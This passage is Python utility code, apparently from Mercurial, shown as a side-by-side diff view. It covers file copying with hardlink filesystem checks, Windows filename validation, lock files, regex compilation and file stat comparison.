1180 return func(*args, **kwargs)
1180 return func(*args, **kwargs)
1181 except TypeError:
1181 except TypeError:
1182 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1182 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1183 raise error.SignatureError
1183 raise error.SignatureError
1184 raise
1184 raise
1185
1185
1186 return check
1186 return check
1187
1187
1188 # a whilelist of known filesystems where hardlink works reliably
1188 # a whilelist of known filesystems where hardlink works reliably
1189 _hardlinkfswhitelist = {
1189 _hardlinkfswhitelist = {
1190 'btrfs',
1190 'btrfs',
1191 'ext2',
1191 'ext2',
1192 'ext3',
1192 'ext3',
1193 'ext4',
1193 'ext4',
1194 'hfs',
1194 'hfs',
1195 'jfs',
1195 'jfs',
1196 'reiserfs',
1196 'reiserfs',
1197 'tmpfs',
1197 'tmpfs',
1198 'ufs',
1198 'ufs',
1199 'xfs',
1199 'xfs',
1200 'zfs',
1200 'zfs',
1201 }
1201 }
1202
1202
1203 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1203 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1204 '''copy a file, preserving mode and optionally other stat info like
1204 '''copy a file, preserving mode and optionally other stat info like
1205 atime/mtime
1205 atime/mtime
1206
1206
1207 checkambig argument is used with filestat, and is useful only if
1207 checkambig argument is used with filestat, and is useful only if
1208 destination file is guarded by any lock (e.g. repo.lock or
1208 destination file is guarded by any lock (e.g. repo.lock or
1209 repo.wlock).
1209 repo.wlock).
1210
1210
1211 copystat and checkambig should be exclusive.
1211 copystat and checkambig should be exclusive.
1212 '''
1212 '''
1213 assert not (copystat and checkambig)
1213 assert not (copystat and checkambig)
1214 oldstat = None
1214 oldstat = None
1215 if os.path.lexists(dest):
1215 if os.path.lexists(dest):
1216 if checkambig:
1216 if checkambig:
1217 oldstat = checkambig and filestat.frompath(dest)
1217 oldstat = checkambig and filestat.frompath(dest)
1218 unlink(dest)
1218 unlink(dest)
1219 if hardlink:
1219 if hardlink:
1220 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1220 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1221 # unless we are confident that dest is on a whitelisted filesystem.
1221 # unless we are confident that dest is on a whitelisted filesystem.
1222 try:
1222 try:
1223 fstype = getfstype(os.path.dirname(dest))
1223 fstype = getfstype(os.path.dirname(dest))
1224 except OSError:
1224 except OSError:
1225 fstype = None
1225 fstype = None
1226 if fstype not in _hardlinkfswhitelist:
1226 if fstype not in _hardlinkfswhitelist:
1227 hardlink = False
1227 hardlink = False
1228 if hardlink:
1228 if hardlink:
1229 try:
1229 try:
1230 oslink(src, dest)
1230 oslink(src, dest)
1231 return
1231 return
1232 except (IOError, OSError):
1232 except (IOError, OSError):
1233 pass # fall back to normal copy
1233 pass # fall back to normal copy
1234 if os.path.islink(src):
1234 if os.path.islink(src):
1235 os.symlink(os.readlink(src), dest)
1235 os.symlink(os.readlink(src), dest)
1236 # copytime is ignored for symlinks, but in general copytime isn't needed
1236 # copytime is ignored for symlinks, but in general copytime isn't needed
1237 # for them anyway
1237 # for them anyway
1238 else:
1238 else:
1239 try:
1239 try:
1240 shutil.copyfile(src, dest)
1240 shutil.copyfile(src, dest)
1241 if copystat:
1241 if copystat:
1242 # copystat also copies mode
1242 # copystat also copies mode
1243 shutil.copystat(src, dest)
1243 shutil.copystat(src, dest)
1244 else:
1244 else:
1245 shutil.copymode(src, dest)
1245 shutil.copymode(src, dest)
1246 if oldstat and oldstat.stat:
1246 if oldstat and oldstat.stat:
1247 newstat = filestat.frompath(dest)
1247 newstat = filestat.frompath(dest)
1248 if newstat.isambig(oldstat):
1248 if newstat.isambig(oldstat):
1249 # stat of copied file is ambiguous to original one
1249 # stat of copied file is ambiguous to original one
1250 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1250 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1251 os.utime(dest, (advanced, advanced))
1251 os.utime(dest, (advanced, advanced))
1252 except shutil.Error as inst:
1252 except shutil.Error as inst:
1253 raise Abort(str(inst))
1253 raise Abort(str(inst))
1254
1254
1255 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1255 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1256 """Copy a directory tree using hardlinks if possible."""
1256 """Copy a directory tree using hardlinks if possible."""
1257 num = 0
1257 num = 0
1258
1258
1259 gettopic = lambda: hardlink and _('linking') or _('copying')
1259 gettopic = lambda: hardlink and _('linking') or _('copying')
1260
1260
1261 if os.path.isdir(src):
1261 if os.path.isdir(src):
1262 if hardlink is None:
1262 if hardlink is None:
1263 hardlink = (os.stat(src).st_dev ==
1263 hardlink = (os.stat(src).st_dev ==
1264 os.stat(os.path.dirname(dst)).st_dev)
1264 os.stat(os.path.dirname(dst)).st_dev)
1265 topic = gettopic()
1265 topic = gettopic()
1266 os.mkdir(dst)
1266 os.mkdir(dst)
1267 for name, kind in listdir(src):
1267 for name, kind in listdir(src):
1268 srcname = os.path.join(src, name)
1268 srcname = os.path.join(src, name)
1269 dstname = os.path.join(dst, name)
1269 dstname = os.path.join(dst, name)
1270 def nprog(t, pos):
1270 def nprog(t, pos):
1271 if pos is not None:
1271 if pos is not None:
1272 return progress(t, pos + num)
1272 return progress(t, pos + num)
1273 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1273 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1274 num += n
1274 num += n
1275 else:
1275 else:
1276 if hardlink is None:
1276 if hardlink is None:
1277 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1277 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1278 os.stat(os.path.dirname(dst)).st_dev)
1278 os.stat(os.path.dirname(dst)).st_dev)
1279 topic = gettopic()
1279 topic = gettopic()
1280
1280
1281 if hardlink:
1281 if hardlink:
1282 try:
1282 try:
1283 oslink(src, dst)
1283 oslink(src, dst)
1284 except (IOError, OSError):
1284 except (IOError, OSError):
1285 hardlink = False
1285 hardlink = False
1286 shutil.copy(src, dst)
1286 shutil.copy(src, dst)
1287 else:
1287 else:
1288 shutil.copy(src, dst)
1288 shutil.copy(src, dst)
1289 num += 1
1289 num += 1
1290 progress(topic, num)
1290 progress(topic, num)
1291 progress(topic, None)
1291 progress(topic, None)
1292
1292
1293 return hardlink, num
1293 return hardlink, num
1294
1294
1295 _winreservednames = {
1295 _winreservednames = {
1296 'con', 'prn', 'aux', 'nul',
1296 'con', 'prn', 'aux', 'nul',
1297 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1297 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1298 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1298 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1299 }
1299 }
1300 _winreservedchars = ':*?"<>|'
1300 _winreservedchars = ':*?"<>|'
1301 def checkwinfilename(path):
1301 def checkwinfilename(path):
1302 r'''Check that the base-relative path is a valid filename on Windows.
1302 r'''Check that the base-relative path is a valid filename on Windows.
1303 Returns None if the path is ok, or a UI string describing the problem.
1303 Returns None if the path is ok, or a UI string describing the problem.
1304
1304
1305 >>> checkwinfilename(b"just/a/normal/path")
1305 >>> checkwinfilename(b"just/a/normal/path")
1306 >>> checkwinfilename(b"foo/bar/con.xml")
1306 >>> checkwinfilename(b"foo/bar/con.xml")
1307 "filename contains 'con', which is reserved on Windows"
1307 "filename contains 'con', which is reserved on Windows"
1308 >>> checkwinfilename(b"foo/con.xml/bar")
1308 >>> checkwinfilename(b"foo/con.xml/bar")
1309 "filename contains 'con', which is reserved on Windows"
1309 "filename contains 'con', which is reserved on Windows"
1310 >>> checkwinfilename(b"foo/bar/xml.con")
1310 >>> checkwinfilename(b"foo/bar/xml.con")
1311 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1311 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1312 "filename contains 'AUX', which is reserved on Windows"
1312 "filename contains 'AUX', which is reserved on Windows"
1313 >>> checkwinfilename(b"foo/bar/bla:.txt")
1313 >>> checkwinfilename(b"foo/bar/bla:.txt")
1314 "filename contains ':', which is reserved on Windows"
1314 "filename contains ':', which is reserved on Windows"
1315 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1315 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1316 "filename contains '\\x07', which is invalid on Windows"
1316 "filename contains '\\x07', which is invalid on Windows"
1317 >>> checkwinfilename(b"foo/bar/bla ")
1317 >>> checkwinfilename(b"foo/bar/bla ")
1318 "filename ends with ' ', which is not allowed on Windows"
1318 "filename ends with ' ', which is not allowed on Windows"
1319 >>> checkwinfilename(b"../bar")
1319 >>> checkwinfilename(b"../bar")
1320 >>> checkwinfilename(b"foo\\")
1320 >>> checkwinfilename(b"foo\\")
1321 "filename ends with '\\', which is invalid on Windows"
1321 "filename ends with '\\', which is invalid on Windows"
1322 >>> checkwinfilename(b"foo\\/bar")
1322 >>> checkwinfilename(b"foo\\/bar")
1323 "directory name ends with '\\', which is invalid on Windows"
1323 "directory name ends with '\\', which is invalid on Windows"
1324 '''
1324 '''
1325 if path.endswith('\\'):
1325 if path.endswith('\\'):
1326 return _("filename ends with '\\', which is invalid on Windows")
1326 return _("filename ends with '\\', which is invalid on Windows")
1327 if '\\/' in path:
1327 if '\\/' in path:
1328 return _("directory name ends with '\\', which is invalid on Windows")
1328 return _("directory name ends with '\\', which is invalid on Windows")
1329 for n in path.replace('\\', '/').split('/'):
1329 for n in path.replace('\\', '/').split('/'):
1330 if not n:
1330 if not n:
1331 continue
1331 continue
1332 for c in _filenamebytestr(n):
1332 for c in _filenamebytestr(n):
1333 if c in _winreservedchars:
1333 if c in _winreservedchars:
1334 return _("filename contains '%s', which is reserved "
1334 return _("filename contains '%s', which is reserved "
1335 "on Windows") % c
1335 "on Windows") % c
1336 if ord(c) <= 31:
1336 if ord(c) <= 31:
1337 return _("filename contains '%s', which is invalid "
1337 return _("filename contains '%s', which is invalid "
1338 "on Windows") % escapestr(c)
1338 "on Windows") % escapestr(c)
1339 base = n.split('.')[0]
1339 base = n.split('.')[0]
1340 if base and base.lower() in _winreservednames:
1340 if base and base.lower() in _winreservednames:
1341 return _("filename contains '%s', which is reserved "
1341 return _("filename contains '%s', which is reserved "
1342 "on Windows") % base
1342 "on Windows") % base
1343 t = n[-1:]
1343 t = n[-1:]
1344 if t in '. ' and n not in '..':
1344 if t in '. ' and n not in '..':
1345 return _("filename ends with '%s', which is not allowed "
1345 return _("filename ends with '%s', which is not allowed "
1346 "on Windows") % t
1346 "on Windows") % t
1347
1347
1348 if pycompat.osname == 'nt':
1348 if pycompat.osname == 'nt':
1349 checkosfilename = checkwinfilename
1349 checkosfilename = checkwinfilename
1350 timer = time.clock
1350 timer = time.clock
1351 else:
1351 else:
1352 checkosfilename = platform.checkosfilename
1352 checkosfilename = platform.checkosfilename
1353 timer = time.time
1353 timer = time.time
1354
1354
1355 if safehasattr(time, "perf_counter"):
1355 if safehasattr(time, "perf_counter"):
1356 timer = time.perf_counter
1356 timer = time.perf_counter
1357
1357
1358 def makelock(info, pathname):
1358 def makelock(info, pathname):
1359 try:
1359 try:
1360 return os.symlink(info, pathname)
1360 return os.symlink(info, pathname)
1361 except OSError as why:
1361 except OSError as why:
1362 if why.errno == errno.EEXIST:
1362 if why.errno == errno.EEXIST:
1363 raise
1363 raise
1364 except AttributeError: # no symlink in os
1364 except AttributeError: # no symlink in os
1365 pass
1365 pass
1366
1366
1367 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1367 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1368 os.write(ld, info)
1368 os.write(ld, info)
1369 os.close(ld)
1369 os.close(ld)
1370
1370
1371 def readlock(pathname):
1371 def readlock(pathname):
1372 try:
1372 try:
1373 return os.readlink(pathname)
1373 return os.readlink(pathname)
1374 except OSError as why:
1374 except OSError as why:
1375 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1375 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1376 raise
1376 raise
1377 except AttributeError: # no symlink in os
1377 except AttributeError: # no symlink in os
1378 pass
1378 pass
1379 fp = posixfile(pathname)
1379 fp = posixfile(pathname)
1380 r = fp.read()
1380 r = fp.read()
1381 fp.close()
1381 fp.close()
1382 return r
1382 return r
1383
1383
1384 def fstat(fp):
1384 def fstat(fp):
1385 '''stat file object that may not have fileno method.'''
1385 '''stat file object that may not have fileno method.'''
1386 try:
1386 try:
1387 return os.fstat(fp.fileno())
1387 return os.fstat(fp.fileno())
1388 except AttributeError:
1388 except AttributeError:
1389 return os.stat(fp.name)
1389 return os.stat(fp.name)
1390
1390
1391 # File system features
1391 # File system features
1392
1392
1393 def fscasesensitive(path):
1393 def fscasesensitive(path):
1394 """
1394 """
1395 Return true if the given path is on a case-sensitive filesystem
1395 Return true if the given path is on a case-sensitive filesystem
1396
1396
1397 Requires a path (like /foo/.hg) ending with a foldable final
1397 Requires a path (like /foo/.hg) ending with a foldable final
1398 directory component.
1398 directory component.
1399 """
1399 """
1400 s1 = os.lstat(path)
1400 s1 = os.lstat(path)
1401 d, b = os.path.split(path)
1401 d, b = os.path.split(path)
1402 b2 = b.upper()
1402 b2 = b.upper()
1403 if b == b2:
1403 if b == b2:
1404 b2 = b.lower()
1404 b2 = b.lower()
1405 if b == b2:
1405 if b == b2:
1406 return True # no evidence against case sensitivity
1406 return True # no evidence against case sensitivity
1407 p2 = os.path.join(d, b2)
1407 p2 = os.path.join(d, b2)
1408 try:
1408 try:
1409 s2 = os.lstat(p2)
1409 s2 = os.lstat(p2)
1410 if s2 == s1:
1410 if s2 == s1:
1411 return False
1411 return False
1412 return True
1412 return True
1413 except OSError:
1413 except OSError:
1414 return True
1414 return True
1415
1415
1416 try:
1416 try:
1417 import re2
1417 import re2
1418 _re2 = None
1418 _re2 = None
1419 except ImportError:
1419 except ImportError:
1420 _re2 = False
1420 _re2 = False
1421
1421
1422 class _re(object):
1422 class _re(object):
1423 def _checkre2(self):
1423 def _checkre2(self):
1424 global _re2
1424 global _re2
1425 try:
1425 try:
1426 # check if match works, see issue3964
1426 # check if match works, see issue3964
1427 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1427 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1428 except ImportError:
1428 except ImportError:
1429 _re2 = False
1429 _re2 = False
1430
1430
1431 def compile(self, pat, flags=0):
1431 def compile(self, pat, flags=0):
1432 '''Compile a regular expression, using re2 if possible
1432 '''Compile a regular expression, using re2 if possible
1433
1433
1434 For best performance, use only re2-compatible regexp features. The
1434 For best performance, use only re2-compatible regexp features. The
1435 only flags from the re module that are re2-compatible are
1435 only flags from the re module that are re2-compatible are
1436 IGNORECASE and MULTILINE.'''
1436 IGNORECASE and MULTILINE.'''
1437 if _re2 is None:
1437 if _re2 is None:
1438 self._checkre2()
1438 self._checkre2()
1439 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1439 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1440 if flags & remod.IGNORECASE:
1440 if flags & remod.IGNORECASE:
1441 pat = '(?i)' + pat
1441 pat = '(?i)' + pat
1442 if flags & remod.MULTILINE:
1442 if flags & remod.MULTILINE:
1443 pat = '(?m)' + pat
1443 pat = '(?m)' + pat
1444 try:
1444 try:
1445 return re2.compile(pat)
1445 return re2.compile(pat)
1446 except re2.error:
1446 except re2.error:
1447 pass
1447 pass
1448 return remod.compile(pat, flags)
1448 return remod.compile(pat, flags)
1449
1449
1450 @propertycache
1450 @propertycache
1451 def escape(self):
1451 def escape(self):
1452 '''Return the version of escape corresponding to self.compile.
1452 '''Return the version of escape corresponding to self.compile.
1453
1453
1454 This is imperfect because whether re2 or re is used for a particular
1454 This is imperfect because whether re2 or re is used for a particular
1455 function depends on the flags, etc, but it's the best we can do.
1455 function depends on the flags, etc, but it's the best we can do.
1456 '''
1456 '''
1457 global _re2
1457 global _re2
1458 if _re2 is None:
1458 if _re2 is None:
1459 self._checkre2()
1459 self._checkre2()
1460 if _re2:
1460 if _re2:
1461 return re2.escape
1461 return re2.escape
1462 else:
1462 else:
1463 return remod.escape
1463 return remod.escape
1464
1464
1465 re = _re()
1465 re = _re()
1466
1466
1467 _fspathcache = {}
1467 _fspathcache = {}
1468 def fspath(name, root):
1468 def fspath(name, root):
1469 '''Get name in the case stored in the filesystem
1469 '''Get name in the case stored in the filesystem
1470
1470
1471 The name should be relative to root, and be normcase-ed for efficiency.
1471 The name should be relative to root, and be normcase-ed for efficiency.
1472
1472
1473 Note that this function is unnecessary, and should not be
1473 Note that this function is unnecessary, and should not be
1474 called, for case-sensitive filesystems (simply because it's expensive).
1474 called, for case-sensitive filesystems (simply because it's expensive).
1475
1475
1476 The root should be normcase-ed, too.
1476 The root should be normcase-ed, too.
1477 '''
1477 '''
1478 def _makefspathcacheentry(dir):
1478 def _makefspathcacheentry(dir):
1479 return dict((normcase(n), n) for n in os.listdir(dir))
1479 return dict((normcase(n), n) for n in os.listdir(dir))
1480
1480
1481 seps = pycompat.ossep
1481 seps = pycompat.ossep
1482 if pycompat.osaltsep:
1482 if pycompat.osaltsep:
1483 seps = seps + pycompat.osaltsep
1483 seps = seps + pycompat.osaltsep
1484 # Protect backslashes. This gets silly very quickly.
1484 # Protect backslashes. This gets silly very quickly.
1485 seps.replace('\\','\\\\')
1485 seps.replace('\\','\\\\')
1486 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1486 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1487 dir = os.path.normpath(root)
1487 dir = os.path.normpath(root)
1488 result = []
1488 result = []
1489 for part, sep in pattern.findall(name):
1489 for part, sep in pattern.findall(name):
1490 if sep:
1490 if sep:
1491 result.append(sep)
1491 result.append(sep)
1492 continue
1492 continue
1493
1493
1494 if dir not in _fspathcache:
1494 if dir not in _fspathcache:
1495 _fspathcache[dir] = _makefspathcacheentry(dir)
1495 _fspathcache[dir] = _makefspathcacheentry(dir)
1496 contents = _fspathcache[dir]
1496 contents = _fspathcache[dir]
1497
1497
1498 found = contents.get(part)
1498 found = contents.get(part)
1499 if not found:
1499 if not found:
1500 # retry "once per directory" per "dirstate.walk" which
1500 # retry "once per directory" per "dirstate.walk" which
1501 # may take place for each patches of "hg qpush", for example
1501 # may take place for each patches of "hg qpush", for example
1502 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1502 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1503 found = contents.get(part)
1503 found = contents.get(part)
1504
1504
1505 result.append(found or part)
1505 result.append(found or part)
1506 dir = os.path.join(dir, part)
1506 dir = os.path.join(dir, part)
1507
1507
1508 return ''.join(result)
1508 return ''.join(result)
1509
1509
1510 def getfstype(dirpath):
1510 def getfstype(dirpath):
1511 '''Get the filesystem type name from a directory (best-effort)
1511 '''Get the filesystem type name from a directory (best-effort)
1512
1512
1513 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1513 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1514 '''
1514 '''
1515 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1515 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1516
1516
1517 def checknlink(testfile):
1517 def checknlink(testfile):
1518 '''check whether hardlink count reporting works properly'''
1518 '''check whether hardlink count reporting works properly'''
1519
1519
1520 # testfile may be open, so we need a separate file for checking to
1520 # testfile may be open, so we need a separate file for checking to
1521 # work around issue2543 (or testfile may get lost on Samba shares)
1521 # work around issue2543 (or testfile may get lost on Samba shares)
1522 f1, f2, fp = None, None, None
1522 f1, f2, fp = None, None, None
1523 try:
1523 try:
1524 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1524 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1525 suffix='1~', dir=os.path.dirname(testfile))
1525 suffix='1~', dir=os.path.dirname(testfile))
1526 os.close(fd)
1526 os.close(fd)
1527 f2 = '%s2~' % f1[:-2]
1527 f2 = '%s2~' % f1[:-2]
1528
1528
1529 oslink(f1, f2)
1529 oslink(f1, f2)
1530 # nlinks() may behave differently for files on Windows shares if
1530 # nlinks() may behave differently for files on Windows shares if
1531 # the file is open.
1531 # the file is open.
1532 fp = posixfile(f2)
1532 fp = posixfile(f2)
1533 return nlinks(f2) > 1
1533 return nlinks(f2) > 1
1534 except OSError:
1534 except OSError:
1535 return False
1535 return False
1536 finally:
1536 finally:
1537 if fp is not None:
1537 if fp is not None:
1538 fp.close()
1538 fp.close()
1539 for f in (f1, f2):
1539 for f in (f1, f2):
1540 try:
1540 try:
1541 if f is not None:
1541 if f is not None:
1542 os.unlink(f)
1542 os.unlink(f)
1543 except OSError:
1543 except OSError:
1544 pass
1544 pass
1545
1545
1546 def endswithsep(path):
1546 def endswithsep(path):
1547 '''Check path ends with os.sep or os.altsep.'''
1547 '''Check path ends with os.sep or os.altsep.'''
1548 return (path.endswith(pycompat.ossep)
1548 return (path.endswith(pycompat.ossep)
1549 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1549 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1550
1550
1551 def splitpath(path):
1551 def splitpath(path):
1552 '''Split path by os.sep.
1552 '''Split path by os.sep.
1553 Note that this function does not use os.altsep because this is
1553 Note that this function does not use os.altsep because this is
1554 an alternative of simple "xxx.split(os.sep)".
1554 an alternative of simple "xxx.split(os.sep)".
1555 It is recommended to use os.path.normpath() before using this
1555 It is recommended to use os.path.normpath() before using this
1556 function if need.'''
1556 function if need.'''
1557 return path.split(pycompat.ossep)
1557 return path.split(pycompat.ossep)
1558
1558
1559 def gui():
1559 def gui():
1560 '''Are we running in a GUI?'''
1560 '''Are we running in a GUI?'''
1561 if pycompat.sysplatform == 'darwin':
1561 if pycompat.sysplatform == 'darwin':
1562 if 'SSH_CONNECTION' in encoding.environ:
1562 if 'SSH_CONNECTION' in encoding.environ:
1563 # handle SSH access to a box where the user is logged in
1563 # handle SSH access to a box where the user is logged in
1564 return False
1564 return False
1565 elif getattr(osutil, 'isgui', None):
1565 elif getattr(osutil, 'isgui', None):
1566 # check if a CoreGraphics session is available
1566 # check if a CoreGraphics session is available
1567 return osutil.isgui()
1567 return osutil.isgui()
1568 else:
1568 else:
1569 # pure build; use a safe default
1569 # pure build; use a safe default
1570 return True
1570 return True
1571 else:
1571 else:
1572 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1572 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1573
1573
1574 def mktempcopy(name, emptyok=False, createmode=None):
1574 def mktempcopy(name, emptyok=False, createmode=None):
1575 """Create a temporary file with the same contents from name
1575 """Create a temporary file with the same contents from name
1576
1576
1577 The permission bits are copied from the original file.
1577 The permission bits are copied from the original file.
1578
1578
1579 If the temporary file is going to be truncated immediately, you
1579 If the temporary file is going to be truncated immediately, you
1580 can use emptyok=True as an optimization.
1580 can use emptyok=True as an optimization.
1581
1581
1582 Returns the name of the temporary file.
1582 Returns the name of the temporary file.
1583 """
1583 """
1584 d, fn = os.path.split(name)
1584 d, fn = os.path.split(name)
1585 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1585 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1586 os.close(fd)
1586 os.close(fd)
1587 # Temporary files are created with mode 0600, which is usually not
1587 # Temporary files are created with mode 0600, which is usually not
1588 # what we want. If the original file already exists, just copy
1588 # what we want. If the original file already exists, just copy
1589 # its mode. Otherwise, manually obey umask.
1589 # its mode. Otherwise, manually obey umask.
1590 copymode(name, temp, createmode)
1590 copymode(name, temp, createmode)
1591 if emptyok:
1591 if emptyok:
1592 return temp
1592 return temp
1593 try:
1593 try:
1594 try:
1594 try:
1595 ifp = posixfile(name, "rb")
1595 ifp = posixfile(name, "rb")
1596 except IOError as inst:
1596 except IOError as inst:
1597 if inst.errno == errno.ENOENT:
1597 if inst.errno == errno.ENOENT:
1598 return temp
1598 return temp
1599 if not getattr(inst, 'filename', None):
1599 if not getattr(inst, 'filename', None):
1600 inst.filename = name
1600 inst.filename = name
1601 raise
1601 raise
1602 ofp = posixfile(temp, "wb")
1602 ofp = posixfile(temp, "wb")
1603 for chunk in filechunkiter(ifp):
1603 for chunk in filechunkiter(ifp):
1604 ofp.write(chunk)
1604 ofp.write(chunk)
1605 ifp.close()
1605 ifp.close()
1606 ofp.close()
1606 ofp.close()
1607 except: # re-raises
1607 except: # re-raises
1608 try: os.unlink(temp)
1608 try: os.unlink(temp)
1609 except OSError: pass
1609 except OSError: pass
1610 raise
1610 raise
1611 return temp
1611 return temp
1612
1612
1613 class filestat(object):
1613 class filestat(object):
1614 """help to exactly detect change of a file
1614 """help to exactly detect change of a file
1615
1615
1616 'stat' attribute is result of 'os.stat()' if specified 'path'
1616 'stat' attribute is result of 'os.stat()' if specified 'path'
1617 exists. Otherwise, it is None. This can avoid preparative
1617 exists. Otherwise, it is None. This can avoid preparative
1618 'exists()' examination on client side of this class.
1618 'exists()' examination on client side of this class.
1619 """
1619 """
1620 def __init__(self, stat):
1620 def __init__(self, stat):
1621 self.stat = stat
1621 self.stat = stat
1622
1622
1623 @classmethod
1623 @classmethod
1624 def frompath(cls, path):
1624 def frompath(cls, path):
1625 try:
1625 try:
1626 stat = os.stat(path)
1626 stat = os.stat(path)
1627 except OSError as err:
1627 except OSError as err:
1628 if err.errno != errno.ENOENT:
1628 if err.errno != errno.ENOENT:
1629 raise
1629 raise
1630 stat = None
1630 stat = None
1631 return cls(stat)
1631 return cls(stat)
1632
1632
1633 @classmethod
1633 @classmethod
1634 def fromfp(cls, fp):
1634 def fromfp(cls, fp):
1635 stat = os.fstat(fp.fileno())
1635 stat = os.fstat(fp.fileno())
1636 return cls(stat)
1636 return cls(stat)
1637
1637
1638 __hash__ = object.__hash__
1638 __hash__ = object.__hash__
1639
1639
1640 def __eq__(self, old):
1640 def __eq__(self, old):
1641 try:
1641 try:
1642 # if ambiguity between stat of new and old file is
1642 # if ambiguity between stat of new and old file is
1643 # avoided, comparison of size, ctime and mtime is enough
1643 # avoided, comparison of size, ctime and mtime is enough
1644 # to exactly detect change of a file regardless of platform
1644 # to exactly detect change of a file regardless of platform
1645 return (self.stat.st_size == old.stat.st_size and
1645 return (self.stat.st_size == old.stat.st_size and
1646 self.stat.st_ctime == old.stat.st_ctime and
1646 self.stat.st_ctime == old.stat.st_ctime and
1647 self.stat.st_mtime == old.stat.st_mtime)
1647 self.stat.st_mtime == old.stat.st_mtime)
1648 except AttributeError:
1648 except AttributeError:
1649 pass
1649 pass
1650 try:
1650 try:
1651 return self.stat is None and old.stat is None
1651 return self.stat is None and old.stat is None
1652 except AttributeError:
1652 except AttributeError:
1653 return False
1653 return False
1654
1654
1655 def isambig(self, old):
1655 def isambig(self, old):
1656 """Examine whether new (= self) stat is ambiguous against old one
1656 """Examine whether new (= self) stat is ambiguous against old one
1657
1657
1658 "S[N]" below means stat of a file at N-th change:
1658 "S[N]" below means stat of a file at N-th change:
1659
1659
1660 - S[n-1].ctime < S[n].ctime: can detect change of a file
1660 - S[n-1].ctime < S[n].ctime: can detect change of a file
1661 - S[n-1].ctime == S[n].ctime
1661 - S[n-1].ctime == S[n].ctime
1662 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1662 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1663 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1663 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1664 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1664 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1665 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1665 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1666
1666
1667 Case (*2) above means that a file was changed twice or more at
1667 Case (*2) above means that a file was changed twice or more at
1668 same time in sec (= S[n-1].ctime), and comparison of timestamp
1668 same time in sec (= S[n-1].ctime), and comparison of timestamp
1669 is ambiguous.
1669 is ambiguous.
1670
1670
1671 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1671 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1672 timestamp is ambiguous".
1672 timestamp is ambiguous".
1673
1673
1674 But advancing mtime only in case (*2) doesn't work as
1674 But advancing mtime only in case (*2) doesn't work as
1675 expected, because naturally advanced S[n].mtime in case (*1)
1675 expected, because naturally advanced S[n].mtime in case (*1)
1676 might be equal to manually advanced S[n-1 or earlier].mtime.
1676 might be equal to manually advanced S[n-1 or earlier].mtime.
1677
1677
1678 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1678 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1679 treated as ambiguous regardless of mtime, to avoid overlooking
1679 treated as ambiguous regardless of mtime, to avoid overlooking
1680 by confliction between such mtime.
1680 by confliction between such mtime.
1681
1681
1682 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1682 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1683 S[n].mtime", even if size of a file isn't changed.
1683 S[n].mtime", even if size of a file isn't changed.
1684 """
1684 """
1685 try:
1685 try:
1686 return (self.stat.st_ctime == old.stat.st_ctime)
1686 return (self.stat.st_ctime == old.stat.st_ctime)
1687 except AttributeError:
1687 except AttributeError:
